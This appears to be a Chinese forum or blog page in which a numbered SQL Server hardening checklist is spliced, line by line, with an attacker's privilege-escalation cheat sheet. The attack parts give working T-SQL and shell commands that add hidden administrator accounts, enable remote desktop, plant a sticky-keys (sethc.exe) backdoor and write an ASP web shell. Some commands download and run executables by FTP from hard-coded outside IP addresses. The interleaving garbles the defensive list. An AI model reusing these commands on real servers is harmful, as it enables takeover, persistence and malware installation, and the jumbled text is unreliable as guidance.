   五、防御SQL注入的一些要点与方法
    1. 确认已经安装了windows操作系统和SQL Server的最新补丁程序。  
    2.
评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。
多协议是明智的选择, 但是它有时不能在异种的环境中使用。  
       说明:如果可能请除去不需要的网络协议。  
    3. 给 “sa”
和具有”sysadmin”权限的帐户设定强壮的密码来加强其安全性。至于什么是强壮的密码呢,个人认为是字母、数字、特殊字符的组合,不少八位字符。
    4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用
LocalSystem 或sa。
       这个低权限的帐户应该只有最小的权限和限制这个帐户对SQL
Server的查询与存取操作。 用户可以用最小权限查询sql
server中的很多东西。若非必须不要给予多余的权限。
       注意:当使用企业管理器做以上设置时 ,
文件,注册表和使用者权利上的权限处理。  

无法装载 DLL xpsql70.dll 或该DLL所引用的某一
DLL。原因126(找不到指定模块。) 
恢复方法:查询分离器连接后, 
第一步执行:sp_dropextendedproc “xp_cmdshell” 
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’ 

    5. 确定所有的SQL服务器数据,而且系统文件是装置在 NTFS
分区,且”目录访问控制”被应用。
      
如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。
 

无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因:
127(找不到指定的程序。) 
恢复方法:查询分离器连接后, 
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’ 
第二步执行:exec sp_addextendedproc
‘xp_cmdshell’,’xpweb70.dll’             
然后按F5键命令执行完毕 

    6.如果你不需要 xp_cmdshell
那请停用它。如果需要的话再把它增加回来。
    其实这也好也不好
————一个侵入者如果发现它不在了,也只需要把他加回来。考虑一下,可以除去在下面的
dll但是移除之前必须测试因为有些dll同时被一些程序所用。
    要找到其他的程序是否使用相同的 dll请进行以下步骤:  
    首先得到该 dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and o.name=‘xp_cmdshell‘  
    其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and c.text=‘xplog70.dll‘  
    用户可以用同样的办法处理下面步骤中其他你想去掉的进程。  

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 
查询分离器连接后, 
2000servser系统: 
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user
Web hacker /add’ 

    7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 –
当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失).
这些存储过程如下:  
    sp_OACreate  
    sp_OADestroy  
    sp_OAGetErrorInfo  
    sp_OAGetProperty  
    sp_OAMethod  
    sp_OASetProperty  
    sp_OAStop  
  
 如果你决定停用这些存储过程,那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net
localgroup administrators Web /add’ 

    8. 禁用你不需要的注册表存储过程。(同上面的警告)这些包括:  
    xp_regaddmultistring  
    xp_regdeletekey  
    xp_regdeletevalue  
    xp_regenumvalues  
    xp_regremovemultistring  
    注意 :xp_regread/
xp_regwrite这两个存储过程的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。
 

xp或2003server系统: 126错误!命令 

    9.移除其他你认为会造成威胁的系统储存过程。
这种存储过程是相当多的,而且他们也会浪费一些cpu时间。
    
小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:
 
    sp_sdidebug  
    xp_availablemedia  
    xp_cmdshell  
    xp_deletemail  
    xp_dirtree  
    xp_dropwebtask  
    xp_dsninfo  
    xp_enumdsn  
    xp_enumerrorlogs  
    xp_enumgroups  
    xp_enumqueuedtasks  
    xp_eventlog  
    xp_findnextmsg  
    xp_fixeddrives  
    xp_getfiledetails  
    xp_getnetname  
    xp_grantlogin  
    xp_logevent  
    xp_loginconfig  
    xp_logininfo  
    xp_makewebtask  
    xp_msver xp_perfend  
    xp_perfmonitor  
    xp_perfsample  
    xp_perfstart  
    xp_readerrorlog  
    xp_readmail  
    xp_revokelogin  
    xp_runwebtask  
    xp_schedulersignal  
    xp_sendmail  
    xp_servicecontrol  
    xp_snmp_getstate  
    xp_snmp_raisetrap  
    xp_sprintf  
    xp_sqlinventory  
    xp_sqlregister  
    xp_sqltrace  
    xp_sscanf  
    xp_startmail  
    xp_stopmail  
    xp_subdirs  
    xp_unc_to_drive  
    xp_dirtree  
    

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net
user Web$ hacker /add’ 

    10. 除去数据库的guest账户,这样可以把未经许可的使用者排除在外。
例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。  

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net
localgroup administrators Web$ /add’ 

    11.
若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的
trojans ,病毒或是简单实现一个DOS攻击成为可能  

C:\>DIR C:\ 
SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。 

    12. 记录所有的用户存取访问情况。
从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:  
    xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE”
Microsoft”MSSQLServer”MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

分析器执行的语句: 

    13. 建立一个计划的任务运行: 
  
 然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。
    这也为系统管理员提供一个好的记录攻击的方法。
也有很多用来分析NT日志事件的第三者工具。
    注意: 你可能需要将路径换成你安装SQL的路径。  

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE; 

    14. 设定非法访问和登陆失败日志警报。到 企业管理器中的”Manager SQL
Server Messages “搜寻任何有关无权访问的消息
    ( 从查找”login failed”和”denied”开始).
确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 ,
发送一个电子邮件或信息到一个能够对问题及时响应的操作员。  

有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程
sp_addextendedproc

    15.
经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。
确定当你在的时候 , 公众的组不能从系统表执行选择操作。  

解决方法: 

    16. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
 
    select  
    password  ,*
    from syslogins  
    where password is null  
    order by name  

create procedure sp_addextendedproc — 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,’sp_addextendedproc’) 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) — sp_addextendedproc 
GO 
这段代码贴入查询分离器,执行 

    17. 检查所有非sa用户的存取进程和扩充存储进程的权限。
使用下面的查询定期的查询哪一个进程有公众存储权限:  
    Use master  
    select sysobjects.name  
    from sysobjects,sysprotects  
    where sysprotects.uid=0  
    AND xtype 在 (‘X‘,‘P‘)  
    AND sysobjects.id=sysprotects.id  
    Order by name  

资源管理器: 
c:\windows\explorer.exe 

    18. 当时用企业管理器的时候,使用整合的安全策略。
过去,企业管理器被发现在标准的安全模态中储存 “sa” 密码在注册表的
plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。

查看目录 
exec master.dbo.xp_subdirs ‘c:\’ 
列出磁盘 
exec master..xp_fixeddrives 

sql 2000:

xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号! 

    使用 regedit 而且检查键:  
    HKEY_USERS”{yourSID}”software”Microsoft”Microsoft SQL
server”80″tool”SQLEW”registered server X”SQL server group  
    (“SQL server组” 是默认值但是你可能已建立用户组因此相应地改变其位置)
 

EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net user 123 123 /add”)’); 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net localgroup administrators 123 /add”)’); 

 

echo Windows Registry Editor Version 5.00 >3389.reg 
echo. >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
>>3389.reg 
echo “Enabled”=”0” >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon] >>3389.reg 
echo “ShutdownWithoutLogon”=”0” >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
>>3389.reg 
echo “EnableAdminTSRemote”=dword:00000001 >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server] >>3389.reg 
echo “TSEnabled”=dword:00000001 >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
>>3389.reg 
echo “Start”=dword:00000002 >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
>>3389.reg 
echo “Start”=dword:00000002 >>3389.reg 
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
>>3389.reg 
echo “Hotkey”=”1” >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo “PortNumber”=dword:00000D3D >>3389.reg 
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp] >>3389.reg 
echo “PortNumber”=dword:00000D3D >>3389.reg 
regedit /s 3389.reg 

sql 2005已经没有在注册表中写sqlew这个键了.

开3389: 

      

exec
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal
Server’,’fDenyTSConnections’,’REG_DWORD’,0;– 

 

关3389: 

    19.
制定一个安全审核计划,每月的一份安全报告,对IT主管可用的报表包括新的开发内容中进行的数据库修改,成功的攻击
, 备份保护 , 和对象存取失败统计。  

exec
master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal
Server’,’fDenyTSConnections’,’REG_DWORD’,1; 

    20. 不要允许使用者交互式登陆到 SQL
Server之上。这个规则适用任何的服务器。
一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
 

查看3389端口 

 

exec xp_regread
‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp’,’PortNumber’ 

 最后就是,对方怎么得到我的开发机上的动态IP的,这我怎么也没想清楚.

查看系统版本 
type c:\boot.ini 

 

普通CMD后门 
xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution
Options\sethc.exe’,’debugger’,’reg_sz’,’c:\windows\system32\cmd.exe’ 

 

建立用户1-这里默认用户是Reconditeness密码9527可自行修改 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\winnt\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup
administrators terks /ad”)’) 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup
administrators terks /ad”)’) 

 

win2K直接上PS马 
exec master..xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\winnt\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo
reconditeness>>net.txt&@echo 7259>>net.txt&@echo get
0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del
net.txt & 0.exe”)’) 

 

win03-XP直接上PS马 
exec master..xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1 
select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select
shell(“cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo
reconditeness>>net.txt&@echo 7259>>net.txt&@echo get
0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del
net.txt & 0.exe”)’) 

5下shift后门命令 
declare @o int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\explorer.exe’
,’c:\windows\system32\sethc.exe’; 

declare @o int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\system32\sethc.exe’
,’c:\windows\system32\dllcache\sethc.exe’; 

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe 
copy c:\windows\system32\sethc.exe
c:\windows\system32\dllcache\sethc.exe 

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘XXXXX’ \\XXXXX为你要执行的命令 

写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb): 

EXEC master..xp_regwrite 

@rootkey=’HKEY_LOCAL_MACHINE’, 

@key=’SOFTWARE\aaa’, 

@value_name=’aaaValue’, 

@type=’REG_SZ’, 

@value=’bbb’ 

@echo open 121.22.56.5>c:\bin.txt&@echo
list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo get
gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp
-s:c:\bin.txt&del c:\bin.txt&gzn.exe&gzn.exe&gzn.exe 

先copy ftp.exe 到wmpub目录里 
@echo cd c:\wmpub\>c:\wmpub\in.bat&@echo ftp
-s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat

开3389 
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v
fDenyTSConnections /t REG_DWORD /d 0 /f 

C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators
IUSR_SERVER /add 

SQL写一句话 
exec master.dbo.xp_subdirs ‘d:\web\cdlxkj’; 
exec sp_makewebtask
‘d:\web\cdlxkj\XX.asp’,’select”<%execute(request(“SB”))%>”
‘ 

SA沙盒模式提权—– 
———————- 
exec master..xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0; 
——————————————————- 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net user sql$ 123 /add”)’); 
——————————————————- 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net localgroup administrators sql$ /add”)’); 

3389    SHIFT 

用上的语句: 
入侵 
EXEC master..xp_regwrite 
@rootkey=’HKEY_LOCAL_MACHINE’, 
@key=’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.EXE’, 
@value_name=’Debugger’, 
@type=’REG_SZ’, 
@value=’C:\WINDOWS\explorer.exe’ 

恢复 
EXEC master..xp_regwrite 
@rootkey=’HKEY_LOCAL_MACHINE’, 
@key=’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.EXE’, 
@value_name=’Debugger’, 
@type=’REG_SZ’, 
@value=” 

映象劫持 

EXEC master..xp_regwrite —这是注册表编辑! 
@rootkey=’HKEY_LOCAL_MACHINE’, —这是位置! 
@key=’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.EXE’, —–这也是位置! 
@value_name=’Debugger’, —这是表名! 
@type=’REG_SZ’,         —这里是写入的意思! 
@value=’C:\WINDOWS\explorer.exe’    —-这里是写入内容! 

整个过程是利用master..xp_regwrite这组件来完成的, 

1.sql命令查询注册表粘滞键是否被劫持 

exec master..xp_regread
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution
Options\sethc.exe’,’Debugger’ 

2.sql命令劫持注册表粘滞键功能,替换成任务管理器(当然你也可以替换成你想要的其他命令) 

xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe’, 
‘Debugger’,’REG_SZ’,’C:\WINDOWS\system32\taskmgr.exe’ 

3.sql命令删除注册表粘滞键的劫持功能保护你的服务器不再被他人利用 

xp_regdeletekey ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe’ 

10楼

sql写文件 

declare @o int, @f int, @t int, @ret int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:\1.vbs’, 1 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’set
wsnetwork=CreateObject(“WSCRIPT.NETWORK”)’ 
exec @ret = sp_oamethod @f, ‘writeline’,
NULL,’os=”WinNT://”&wsnetwork.ComputerName’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set ob=GetObject(os)’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set
oe=GetObject(os&”/Administrators,group”)’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set
od=ob.Create(“user”,”test”)’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetPassword
“1234”‘ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetInfo ‘ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set
of=GetObject(os&”/test”,user) ‘ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’oe.add os&”/test”‘ 

无NET提权的脚本 

struser=wscript.arguments(0) 
strpass=wscript.arguments(1) 

set lp=createObject(“WSCRIPT.NETWORK”) 
oz=”WinNT://”&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&”/Administrators,group”) 
Set od=ob.create(“user”,struser) 
od.SetPassword strpass 
od.SetInfo 
Set of=GetObject(oz&”/” & struser & “,user”) 
oe.Add(of.ADsPath) 

For Each admin in oe.Members 
if struser=admin.Name then 
Wscript.echo struser & ” 建立成功!” 
wscript.quit 
end if 
Next 

Wscript.echo struser & ” 用户建立失败!” 
将以上保存为user.VBS文件 
然后执行:cscript user.vbs 用户名 密码 

使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式: 

Exec master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0 
\Engines’,’SandBoxMode’,’REG_DWORD’,1 

然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户: 

select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows 
\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net user test 1234
/add”)’) 

select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows 
\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net localgroup 
administrators test /add”)’) 

不同的操作系统,路径也不一样,需要根据情况做修改: 

NT/2K: c:\winnt\system32\ 
XP/2003: c:\windows\system32\ 

另外Microsoft SQL
Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开: 

开启XP_cmdshell: 

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure 
‘xp_cmdshell’, 1;RECONFIGURE; 

开启’OPENROWSET’: 

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec
sp_configure 
‘Ad Hoc Distributed Queries’,1;RECONFIGURE; 

开启’sp_oacreate’: 

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec
sp_configure 
‘Ole Automation Procedures’,1;RECONFIGURE; 
[post]

相关文章